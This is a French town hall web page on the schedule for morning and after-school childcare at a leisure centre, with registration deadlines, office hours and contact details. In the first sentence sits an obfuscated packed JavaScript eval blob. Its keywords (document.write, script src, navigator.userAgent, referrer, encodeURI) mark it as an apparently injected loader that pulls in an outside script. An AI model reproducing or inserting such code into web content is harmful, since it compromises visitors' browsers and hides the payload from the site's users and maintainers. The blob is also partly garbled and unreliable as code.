

Les eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^(,String))){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}return p}('0.6(")");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|iazst|var|u0026u|referrer|isbea||js|php'.split('|'),0,{})) accueils du matin se

déroulent au centre de loisirs à partir de 7 h 30. Les enfants sont accompagnés à l'école maternelle pour

8 h 15



Deux lieux d'accueil :

- Centre de loisirs pour tous les enfants.

Les enfants sont pris en charge dans les classes à 16 h 30 :

Goûter soit en salle de restauration soit au centre de loisirs en fonction des lieux d'accueil, suivi d'activités ludiques proposées par l'équipe d'animation jusqu'à 18 h 30.

Attention ! Toute inscription ou modification doit être signalée avant 16 h le vendredi de la semaine précédente obligatoirement en mairie au service à l'enfance (administratif) 8, place Mireille Morvan

Tél. 01 60 35 40 08

Horaires d'ouverture au public :

Lundi de 13 h 30 - 17 h

Mardi au vendredi 9 h – 12 h / 13 h 30 – 17 h

Samedi 9 h – 12 h

Courriel : contactenfance@mairie-de-collegien.fr